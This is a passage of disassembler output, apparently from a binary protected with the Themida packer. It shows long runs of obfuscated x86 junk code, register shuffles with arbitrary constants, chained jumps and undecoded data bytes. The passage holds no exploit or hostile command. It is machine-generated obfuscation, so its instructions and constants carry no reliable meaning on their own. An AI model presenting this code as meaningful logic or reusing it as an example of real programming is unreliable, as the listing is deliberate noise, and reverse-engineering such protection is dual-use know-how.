; ---------------------------------------------------------------------------


loc_5A7CF9:				; CODE XREF: Themida_:005A5A25j
		pop	edx
		add	esp, 4
		sub	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5A6104
; ---------------------------------------------------------------------------


loc_5A7D0A:				; CODE XREF: Themida_:005A4D85j
		pop	ebp
		jmp	loc_5A6B4D
; ---------------------------------------------------------------------------


loc_5A7D10:				; CODE XREF: Themida_:005AEA93j
		jmp	loc_5A966D
; ---------------------------------------------------------------------------


loc_5A7D15:				; CODE XREF: Themida_:0059C9CEj
		jns	loc_598FA3
		add	edx, 481625D6h
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		add	ebp, edx
		push	ebx
		mov	ebx, 20760BFDh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_59EC32
; ---------------------------------------------------------------------------


loc_5A7D38:				; CODE XREF: Themida_:005A871Cj
		jmp	loc_5A9D7F
; ---------------------------------------------------------------------------


loc_5A7D3D:				; CODE XREF: Themida_:005A1828j
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		jmp	loc_5A8056
; ---------------------------------------------------------------------------


loc_5A7D4A:				; CODE XREF: Themida_:005A4C73j
		add	ebx, edx
		push	8D6h
		jmp	loc_59AC09
; ---------------------------------------------------------------------------


loc_5A7D56:				; CODE XREF: Themida_:0059AA69j
					; Themida_:005A4227j
		push	edi
		mov	edi, esp
		jmp	loc_5ABF07
; ---------------------------------------------------------------------------


loc_5A7D5E:				; CODE XREF: Themida_:loc_5AD73Cj
		inc	bh
		jmp	loc_5A5851
; ---------------------------------------------------------------------------


loc_5A7D65:				; CODE XREF: Themida_:005A336Aj
		push	esi
		jmp	loc_59B7FB
; ---------------------------------------------------------------------------


loc_5A7D6B:				; CODE XREF: Themida_:0059FA2Fj
					; Themida_:005A2F5Cj
		inc	bl
		push	edx
		jmp	loc_59CBE4
; ---------------------------------------------------------------------------


loc_5A7D73:				; CODE XREF: Themida_:005A288Dj
		xor	esi, 3FDB78F1h
		jmp	loc_5991D7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0F075E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7D86:				; CODE XREF: Themida_:005A54A8j
					; Themida_:005A63C8j
		push	esi
		push	eax
		mov	eax, 7610C38h
		sub	eax, 6DB04AEAh
		neg	eax
		shl	eax, 2
		or	eax, 4317A0Eh
		push	ecx
		jmp	loc_5AA5AE
; ---------------------------------------------------------------------------


loc_5A7DA2:				; CODE XREF: Themida_:00599011j
		mov	[esp], ecx
		jmp	loc_59FBD6
; ---------------------------------------------------------------------------
		dw 0DDE9h
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7DAF:				; CODE XREF: Themida_:0059987Fj
		sub	esi, ecx
		pop	ecx
		push	ebp
		push	esi
		pop	ebp
		mov	eax, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		inc	eax
		push	edi
		jmp	loc_5AAAD1
; ---------------------------------------------------------------------------
		dd 240C8B66h, 1BDC6853h, 8F540000h, 4832404h, 1C8B0424h
		dd 4C48324h, 4C381h, 15E90000h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7DEB:				; CODE XREF: Themida_:005AB76Dj
		pop	ebx
		add	eax, 7F9C4AC4h
		push	dword ptr [esp]
		jmp	loc_5A6202
; ---------------------------------------------------------------------------


loc_5A7DF9:				; CODE XREF: Themida_:loc_598CC4j
		sub	ecx, 0E743D3C1h
		mov	edi, ecx
		pop	ecx
		sub	ebp, edi
		mov	edi, [esp]
		jmp	loc_5A0815
; ---------------------------------------------------------------------------
		dd 5BD5E381h, 890F7ACAh, 6DC9h,	0FF2764E9h, 247C29FFh
		dd 0F75B5F0Ch, 5CEF81D7h, 0F77CEEE0h, 4E7C1DFh,	0FF7212E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7E35:				; CODE XREF: Themida_:005A405Fj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	eax
		jmp	loc_5A8D42
; ---------------------------------------------------------------------------
		dd 2DF3815Bh, 58651B09h, 500ACB81h, 0EBC1768Fh,	14F75305h
		dd 0EB815B24h, 0FC490404h, 575BD901h, 4BFh, 52E98100h
		dd 295E502Fh, 52C181F9h, 0E95E502Fh, 0FFFF592Fh
; ---------------------------------------------------------------------------


loc_5A7E80:				; CODE XREF: Themida_:005AC537j
		push	ebx
		mov	bh, 31h
		push	0
		sub	[esp], bh
		mov	bh, [esp]
		add	esp, 4
		xor	bh, 4Fh
		push	edx
		mov	dh, 47h
		xor	bh, dh
		pop	edx
		or	ah, bh
		pop	ebx
		sub	ah, 26h
		xor	dh, ah
		pop	eax
		mov	ch, dh
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A8E0B
; ---------------------------------------------------------------------------


loc_5A7EB6:				; CODE XREF: Themida_:005AED83j
		neg	bh
		dec	bh
		xor	bh, 0D7h
		jle	loc_5AC674
		jmp	loc_5AE128
; ---------------------------------------------------------------------------
		dd 0E9519AB7h, 0FFFF7A81h
; ---------------------------------------------------------------------------


loc_5A7ED0:				; CODE XREF: Themida_:005A5927j
		push	ebx
		mov	ebx, 71D64EFDh
		not	ebx
		push	eax
		push	ecx
		jmp	loc_5AB0E5
; ---------------------------------------------------------------------------


loc_5A7EDF:				; CODE XREF: Themida_:005ABC19j
		pop	eax
		xor	esi, ebp
		jmp	loc_5A1887
; ---------------------------------------------------------------------------


loc_5A7EE7:				; CODE XREF: Themida_:005A073Fj
		mov	[esp], ebx
		push	524B5129h
		jmp	loc_5ACC0D
; ---------------------------------------------------------------------------


loc_5A7EF4:				; CODE XREF: Themida_:0059E7AEj
		add	edx, esi
		add	edx, 275A3024h
		mov	esi, [esp]
		jmp	loc_5A4481
; ---------------------------------------------------------------------------
		dd 4E273BB9h, 0B66DE91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7F0E:				; CODE XREF: Themida_:005A3686j
		jmp	loc_5A8B34
; ---------------------------------------------------------------------------


loc_5A7F13:				; CODE XREF: Themida_:0059DB58j
		sub	eax, 78C43B9Bh
		add	eax, ebp
		add	eax, 78C43B9Bh
		add	eax, 14FB6FCDh
		push	esi
		push	eax
		mov	eax, 6AF76405h
		mov	esi, eax
		pop	eax
		jmp	loc_5A084D
; ---------------------------------------------------------------------------


loc_5A7F33:				; CODE XREF: Themida_:005A7345j
		add	ecx, 2E4B3D33h
		add	ecx, ebx
		sub	ecx, 2E4B3D33h
		add	ecx, 3AD91FFFh
		pop	ebx
		add	ecx, 4
		push	4A26h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A4A90
; ---------------------------------------------------------------------------


loc_5A7F68:				; CODE XREF: Themida_:005A95B8j
		add	ecx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 9D57162h
		jmp	loc_59C9F7
; ---------------------------------------------------------------------------


loc_5A7F76:				; CODE XREF: Themida_:005AF083j
		sub	esp, 4
		jmp	loc_5A308D
; ---------------------------------------------------------------------------


loc_5A7F81:				; CODE XREF: Themida_:0059EEABj
		mov	eax, 0A002C24h
		sub	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_59E840
; ---------------------------------------------------------------------------
aUtHf_		db 'UT]hf_',0
		dw 8900h
		dd 0E789243Ch, 4C781h, 0EF830000h, 243C8704h, 0FF7001E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7FB5:				; CODE XREF: Themida_:005AF4BBj
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5ABB01
; ---------------------------------------------------------------------------


loc_5A7FC4:				; CODE XREF: Themida_:005988E4j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_59B44B
; ---------------------------------------------------------------------------


loc_5A7FD1:				; CODE XREF: Themida_:005A1EAFj
		or	eax, 1B6B7971h
		add	eax, 29A2E7Fh
		jmp	loc_59CA9D
; ---------------------------------------------------------------------------


loc_5A7FE0:				; CODE XREF: Themida_:005A5CF2j
		xor	ah, ch
		pop	ecx
		jmp	loc_5A1D2E
; ---------------------------------------------------------------------------


loc_5A7FE8:				; CODE XREF: Themida_:005AC5CDj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5ABA95
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 18DFE9h, 59CB3100h, 0FF454EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8009:				; CODE XREF: Themida_:0059F81Fj
		sub	ebx, eax
		pop	eax
		jmp	loc_599F74
; ---------------------------------------------------------------------------


loc_5A8011:				; CODE XREF: Themida_:005A740Aj
		mov	edx, [esp]
		jmp	loc_5A3E8E
; ---------------------------------------------------------------------------


loc_5A8019:				; CODE XREF: Themida_:005A9BB0j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	2600h
		mov	[esp], eax
		push	35DEh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		jmp	loc_5A8942
; ---------------------------------------------------------------------------


loc_5A804B:				; CODE XREF: Themida_:0059D392j
		or	ebp, 55F941D8h
		jmp	loc_5ABA62
; ---------------------------------------------------------------------------


loc_5A8056:				; CODE XREF: Themida_:005A7D45j
		add	ebx, 572B46FBh
		add	ebx, ecx
		jmp	loc_599915
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704E9h, 4895C24h,	55D08924h, 56E9C589h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8077:				; CODE XREF: Themida_:005ADF4Dj
		or	dl, 0E1h
		add	dl, 0C2h
		sub	cl, dl
		pop	edx
		inc	cl
		jle	loc_599294
		add	cl, 0D7h
		jmp	loc_5A1506
; ---------------------------------------------------------------------------


loc_5A8090:				; CODE XREF: Themida_:loc_5AAD9Ej
		shr	ebx, 3
		sub	ebx, 0FFFFFFFFh
		push	eax
		jmp	loc_59E159
; ---------------------------------------------------------------------------


loc_5A809C:				; CODE XREF: Themida_:0059B633j
		add	ebx, 4E48687Eh
		jp	loc_599AD6
		and	ebx, 483A0113h
		js	loc_5A4FAF
		shr	ebx, 2
		jnp	loc_59F888
		not	ebx
		jmp	loc_59A4FE
; ---------------------------------------------------------------------------


loc_5A80C4:				; CODE XREF: Themida_:loc_59CA20j
		sub	edx, 1C026C0Fh
		jmp	loc_599152
; ---------------------------------------------------------------------------
		db 35h
		dd 50657ED6h, 0FFCCFCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A80D9:				; CODE XREF: Themida_:005A5E71j
		pop	ebp
		sub	ebx, 2EDC52ECh
		add	ebx, ecx
		jmp	loc_59D462
; ---------------------------------------------------------------------------


loc_5A80E7:				; CODE XREF: Themida_:005A3E69j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	0C4D5F69h
		pop	edi
		sub	edi, 0A654E963h
		mov	edx, edi
		pop	edi
		xor	edx, 65F87602h
		add	eax, edx
		jmp	loc_59AE43
; ---------------------------------------------------------------------------
		db 81h
		dd 99EFB1F5h, 3CEB8132h, 14CAF4Fh, 2F57E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8122:				; CODE XREF: Themida_:005AEAB2j
		jz	loc_59AECE
		add	ebx, 1FC09A3h
		jnz	loc_5A3950
		shl	ebx, 5
		jmp	loc_5A3912
; ---------------------------------------------------------------------------
		dd 0AD565155h, 0FF54A2E9h, 242C87FFh, 2C87D5F7h, 243C8B24h
		dd 26E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A8155:				; CODE XREF: Themida_:005A7180j
		mov	eax, 332D3C9Bh
		sub	dword ptr [esp+4], 338B2AF5h
		jmp	loc_5AAE89
; ---------------------------------------------------------------------------


loc_5A8167:				; CODE XREF: Themida_:005A6F5Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		dec	ebx
		jmp	loc_5A5E62
; ---------------------------------------------------------------------------


loc_5A817B:				; CODE XREF: Themida_:005A3EF9j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_59A376
; ---------------------------------------------------------------------------


loc_5A818D:				; CODE XREF: Themida_:00599E9Ej
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A8197:				; CODE XREF: Themida_:005A66DCj
		pop	eax
		jmp	loc_59DA43
; ---------------------------------------------------------------------------
		db 0Fh,	8Fh, 0B9h
		dd 4EFFFFEEh, 31318B0Fh, 0EEC10000h, 8CEE8106h,	46DCC57Eh
		db 83h,	0EEh, 1
; ---------------------------------------------------------------------------


loc_5A81B7:				; CODE XREF: Themida_:00599C17j
		add	esp, 4
		dec	esi
		jns	loc_59AE5A
		push	edx
		push	edi
		mov	edi, 19DF30BCh
		dec	edi
		jmp	loc_59AAB7
; ---------------------------------------------------------------------------


loc_5A81CE:				; CODE XREF: Themida_:005ADD82j
		add	edx, 2BD43C69h
		jmp	loc_5AB6EE
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 81h
		dd 293A02A8h, 99E95BD9h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A81E7:				; CODE XREF: Themida_:0059E1C1j
		xor	edx, 0ABCA726h
		push	edi
		mov	edi, 1DE5486Ah
		jmp	loc_5A3B5C
; ---------------------------------------------------------------------------


loc_5A81F8:				; CODE XREF: Themida_:005A0A2Aj
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5A2A32
; ---------------------------------------------------------------------------


loc_5A8205:				; CODE XREF: Themida_:005A50CEj
		sub	esi, ebx
		jmp	loc_59BFDC
; ---------------------------------------------------------------------------


loc_5A820C:				; CODE XREF: Themida_:0059CC50j
		pop	edx
		and	eax, esi
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A37B4
; ---------------------------------------------------------------------------
		db 89h
		dd 6853243Ch, 296012B5h, 0CFCB815Bh, 0F34D33Fh,	0FF7A378Ch
		dd 0FEBD1FFh, 0FF72F084h, 0FBEB81FFh, 531EF99Fh, 15243481h
		dd 5F096E2Fh, 2F15F781h, 0E95B096Eh, 0FFFF55E2h, 92E9E589h
		dd 5C000059h, 9DCE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A827A:				; CODE XREF: Themida_:005A8D09j
					; Themida_:005AA803j
		inc	eax
		jmp	loc_5A43A4
; ---------------------------------------------------------------------------


loc_5A8280:				; CODE XREF: Themida_:005AAAEFj
		xor	ebp, 60C834C8h
		xor	edi, ebp
		jmp	loc_59E959
; ---------------------------------------------------------------------------
		db 25h,	63h, 5Eh
		dd 0A82D1D1Bh, 2D5A0875h, 0A5F9D857h, 0FF03BCE9h, 28EF81FFh
		dd 176DE38h, 28C781EFh,	8B76DE38h, 0C483242Ch, 8BF90104h
		dd 0C481243Ch, 4, 0FF6583E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A82C5:				; CODE XREF: Themida_:005A234Fj
		add	esp, 4
		jmp	loc_599884
; ---------------------------------------------------------------------------


loc_5A82CD:				; CODE XREF: Themida_:0059F628j
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_5A20EB
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0C5830000h, 242C8704h, 4EC835Ch, 0B8240489h
		dd 2, 56EE68h, 0F89CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8302:				; CODE XREF: Themida_:005A008Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59F285
; ---------------------------------------------------------------------------


loc_5A830D:				; CODE XREF: Themida_:005A3DC2j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5AB98E
; ---------------------------------------------------------------------------


loc_5A831E:				; CODE XREF: Themida_:0059AA04j
					; Themida_:005A5E4Dj
		pop	esi
		add	esi, 21D8DEh
		sub	esp, 4
		mov	[esp], esi
		pop	eax
		pop	esi
		or	eax, 283C2840h
		jb	loc_5A96D5
		jmp	loc_59F7C4
; ---------------------------------------------------------------------------


loc_5A833D:				; CODE XREF: Themida_:005A3917j
		pop	eax
		push	6994h
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_5A5E08
; ---------------------------------------------------------------------------


loc_5A834E:				; CODE XREF: Themida_:005A2D2Dj
		mov	cl, al
		jmp	loc_5AE8B5
; ---------------------------------------------------------------------------
		db 0E9h, 48h, 65h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A835A:				; CODE XREF: Themida_:00599D54j
		mov	esp, [esp]
		jmp	loc_5AABCF
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2434FF24h, 8124048Bh, 4C4h, 8B545500h, 0C481242Ch, 4
		dd 4BA52h, 0D5010000h, 8324148Bh, 2FE904C4h, 0C1000051h
		dd 4CE904E3h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8397:				; CODE XREF: Themida_:005999CAj
					; Themida_:loc_5A1269j
		mov	ebp, 5E0043F2h
		xor	edx, ebp
		pop	ebp
		jmp	loc_5ACD54
; ---------------------------------------------------------------------------


loc_5A83A4:				; CODE XREF: Themida_:0059CA2Cj
		jnp	loc_5A5D9E
		jmp	loc_5A7823
; ---------------------------------------------------------------------------
		db 89h
		dd 0FA8A57E6h
		db 50h
; ---------------------------------------------------------------------------


loc_5A83B5:				; CODE XREF: Themida_:00599517j
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 28555494h
		add	ebp, edi
		push	edx
		mov	edx, 28555494h
		sub	ebp, edx
		pop	edx
		pop	edi
		mov	esi, ebp
		pop	ebp
		mov	edi, esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 6C206504h
		xchg	ebx, edi
		jmp	loc_5A774A
; ---------------------------------------------------------------------------


loc_5A83EB:				; CODE XREF: Themida_:loc_5AD3EDj
		sub	edx, 9B378B89h
		xor	edx, 769F5B68h
		xor	eax, edx
		pop	edx
		xor	eax, 1A3A609Dh
		jmp	loc_5A26E4
; ---------------------------------------------------------------------------
		dd 3D67F681h, 0C68161E9h, 472703C7h, 5A5EF001h,	4EC81h
		dd 2C890000h, 0E6DBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8422:				; CODE XREF: Themida_:005A76AFj
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_5A1962
; ---------------------------------------------------------------------------
		dd 0CA968h, 24048900h, 0A686656h, 665E6661h, 0ABE9D6F7h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8443:				; CODE XREF: Themida_:005A8695j
		push	edx
		push	3B60129Ah
		jmp	loc_5ADFCC
; ---------------------------------------------------------------------------


loc_5A844E:				; CODE XREF: Themida_:005AD40Cj
		push	eax
		mov	eax, 7161C7Ch
		dec	eax
		add	eax, 0FFFFFFFFh
		add	eax, 0F8E9E38Ah
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_59D293
; ---------------------------------------------------------------------------


loc_5A8472:				; CODE XREF: Themida_:0059A00Aj
		jmp	loc_5A2E9F
; ---------------------------------------------------------------------------


loc_5A8477:				; CODE XREF: Themida_:005A9F15j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	ebp
		mov	ebp, 61FB6D01h
		jmp	loc_5A76B4
; ---------------------------------------------------------------------------


loc_5A8492:				; CODE XREF: Themida_:00599910j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A3D31
; ---------------------------------------------------------------------------


loc_5A84A2:				; CODE XREF: Themida_:0059D96Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A9BD3
; ---------------------------------------------------------------------------
		dd 5A59E828h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59C983
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 6743E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A84DA:				; CODE XREF: Themida_:005A04CEj
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_59B33B
; ---------------------------------------------------------------------------


loc_5A84E6:				; CODE XREF: Themida_:005A6158j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A13D2
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0CFE90000h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A84FB:				; CODE XREF: Themida_:005A8DD9j
		add	esp, 4
		push	ecx
		jmp	loc_59CBC0
; ---------------------------------------------------------------------------


loc_5A8507:				; CODE XREF: Themida_:0059C421j
		xor	eax, 0D6FF07B0h
		mov	ecx, eax
		pop	eax
		jmp	loc_5A62D2
; ---------------------------------------------------------------------------


loc_5A8514:				; CODE XREF: Themida_:005AF0C6j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_598EA8
; ---------------------------------------------------------------------------


loc_5A852D:				; CODE XREF: Themida_:005AE863j
		shr	ebx, 5
		dec	ebx
		jle	loc_5A5217
		xor	ebx, 18A25B1Dh
		mov	ecx, ebx
		pop	ebx
		add	ecx, 0DC73BF1Bh
		jmp	loc_599A40
; ---------------------------------------------------------------------------


loc_5A854B:				; CODE XREF: Themida_:0059E4A9j
		jge	loc_59ED25
		neg	ebx
		jbe	loc_59BC78
		mov	ebp, edx


loc_5A855B:				; CODE XREF: Themida_:005ABFD7j
		sub	eax, 38616C74h
		sub	eax, esi
		jmp	loc_5A107B
; ---------------------------------------------------------------------------


loc_5A8567:				; CODE XREF: Themida_:005A4D72j
		add	esi, eax
		pop	eax
		jmp	loc_5A1D5E
; ---------------------------------------------------------------------------


loc_5A856F:				; CODE XREF: Themida_:005A2BE3j
		push	esi
		push	esp
		jmp	loc_59DB83
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF4ED6h, 29BAE681h, 0F6814A78h, 0EBE782Dh, 8102EEC1h
		dd 0ABCAC0F6h, 5EF50107h, 15C3E9h, 24148900h, 6850E289h
		dd 4, 0FFC20158h, 9DE92434h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A85AF:				; CODE XREF: Themida_:0059D1D3j
		neg	ebx
		jle	loc_5AEC90
		or	ebx, 75B9602Fh
		xchg	ecx, ebx
		not	ecx


loc_5A85C1:				; CODE XREF: Themida_:005A1A43j
		add	esp, 4
		jmp	loc_59C32B
; ---------------------------------------------------------------------------


loc_5A85CC:				; CODE XREF: Themida_:0059AE33j
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	ecx, 4
		jmp	loc_59EE47
; ---------------------------------------------------------------------------
		db 1, 0C2h, 58h
		dd 4EC81h, 4890000h, 4B824h, 0C2010000h, 582434FFh, 4EC81h
		dd 34890000h, 81E68924h, 4C6h, 4C68100h, 87000000h, 248B2434h
		dd 24148724h, 4EC815Ch,	89000000h, 0E789243Ch, 21C0B850h
		dd 2D485B10h, 5B1021BBh, 93E9C701h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8633:				; CODE XREF: Themida_:005AA866j
					; Themida_:005ADB79j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	6053h
		mov	[esp], edx
		push	782h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	ebx
		jmp	loc_5A9F1A
; ---------------------------------------------------------------------------
		db 89h
		dd 0B85059C8h, 7DD94E74h, 0FEFFC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8679:				; CODE XREF: Themida_:0059B648j
		mov	ecx, 173650E8h
		mov	esi, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5A8DC3
; ---------------------------------------------------------------------------
		db 5Bh
		dd 578BE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8692:				; CODE XREF: Themida_:005A12EEj
		mov	[esp], ebp
		jmp	loc_5A8443
; ---------------------------------------------------------------------------


loc_5A869A:				; CODE XREF: Themida_:0059AC32j
					; Themida_:005A5F2Aj
		pop	esi
		sub	esi, 2C44304Ah
		jmp	loc_5AF13B
; ---------------------------------------------------------------------------


loc_5A86A6:				; CODE XREF: Themida_:005AE148j
		sub	ecx, ebx
		pop	ebx
		add	ecx, esi
		push	eax
		mov	eax, 5EDE47DEh
		jmp	loc_5A2354
; ---------------------------------------------------------------------------
		dw 1487h
aIHr		db '$\‰<$hr!',0
		align 2
		dw 68E9h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A86C7:				; CODE XREF: Themida_:005A2415j
		not	edi
		jmp	loc_5A5BD9
; ---------------------------------------------------------------------------


loc_5A86CE:				; CODE XREF: Themida_:005ACCB4j
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5A8DAC
; ---------------------------------------------------------------------------


loc_5A86DD:				; CODE XREF: Themida_:0059DF3Bj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 0E681A19h
		sub	esi, 77D61AECh
		sub	edx, esi
		jmp	loc_59CDF2
; ---------------------------------------------------------------------------


loc_5A86F6:				; CODE XREF: Themida_:005A6172j
		mov	bl, dl
		push	edx
		mov	dl, bl
		mov	ch, dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		add	ch, 16h
		push	edx
		mov	dh, 96h
		jmp	loc_5A6C25
; ---------------------------------------------------------------------------


loc_5A8713:				; CODE XREF: Themida_:0059A311j
		xor	edx, 4902666Fh
		mov	esi, edx
		pop	edx
		jmp	loc_5A7D38
; ---------------------------------------------------------------------------
		db 0F6h, 0DDh, 80h
		dd 0D5F60CCDh, 80F5B652h, 0E6803FF6h, 68F9h, 34280000h
		dd 2FD6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A873E:				; CODE XREF: Themida_:0059D809j
					; Themida_:0059E195j
		add	bl, al
		jmp	loc_5AB23D
; ---------------------------------------------------------------------------


loc_5A8745:				; CODE XREF: Themida_:00599ADCj
		add	ebx, 4DAB1463h
		pop	ecx
		add	ebx, esi
		push	ebp
		mov	ebp, 4A80641Fh
		jmp	loc_5998AA
; ---------------------------------------------------------------------------


loc_5A8759:				; CODE XREF: Themida_:005AD725j
		mov	eax, 423203F0h
		neg	eax
		shr	eax, 8
		push	esi
		push	ecx
		push	8941ACAh
		pop	ecx
		xor	ecx, 829D732h
		mov	esi, ecx
		pop	ecx
		xor	eax, esi
		jmp	loc_5A0160
; ---------------------------------------------------------------------------


loc_5A877B:				; CODE XREF: Themida_:005AD080j
		add	ebx, 3ABE5430h
		sub	ebx, edi
		sub	ebx, 3ABE5430h
		sub	ebx, 58FF11C1h
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 3EA94280h
		jmp	loc_59FB13
; ---------------------------------------------------------------------------


loc_5A87A3:				; CODE XREF: Themida_:005A2002j
		add	ebx, ebp
		add	ebx, 5D07287Eh
		jmp	loc_599A1C
; ---------------------------------------------------------------------------


loc_5A87B0:				; CODE XREF: Themida_:005A0D7Aj
		pop	ebp
		push	6F87h
		mov	[esp], ecx
		jmp	loc_5A42F5
; ---------------------------------------------------------------------------


loc_5A87BE:				; CODE XREF: Themida_:loc_5A6C3Dj
		shr	ebx, 8
		or	ebx, 6A7828A1h
		jb	loc_59A298
		xor	ebx, 4B3342CFh
		jmp	loc_5AA9E5
; ---------------------------------------------------------------------------


loc_5A87D8:				; CODE XREF: Themida_:loc_5AAD55j
		sub	eax, 9E0717E5h
		mov	edx, eax
		pop	eax
		push	edx
		pop	edi
		jmp	loc_59EC05
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0AF368h, 240C8900h, 0FF3994E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A87F5:				; CODE XREF: Themida_:005A558Dj
					; Themida_:005A8B67j
		add	esp, 4
		add	ebx, 2
		jmp	loc_59CA31
; ---------------------------------------------------------------------------


loc_5A8803:				; CODE XREF: Themida_:005A9EB1j
		xor	al, bl
		jmp	loc_5A07D0
; ---------------------------------------------------------------------------
		dw 0B035h
		dd 89D6FF07h, 0F3E958C1h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8817:				; CODE XREF: Themida_:005AB66Dj
		mov	bl, ah
		jmp	loc_59EDBC
; ---------------------------------------------------------------------------


loc_5A881E:				; CODE XREF: Themida_:005AA61Dj
		pop	eax
		add	ebx, 1
		push	7721h
		jmp	loc_5AB35D
; ---------------------------------------------------------------------------
		db 89h
		dd 0A7682414h, 89000060h, 2FE92424h, 66FFFFD4h,	0B0505152h
		dd 4EC8391h, 52241C89h,	0F788C688h, 5BF9885Ah, 957EE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


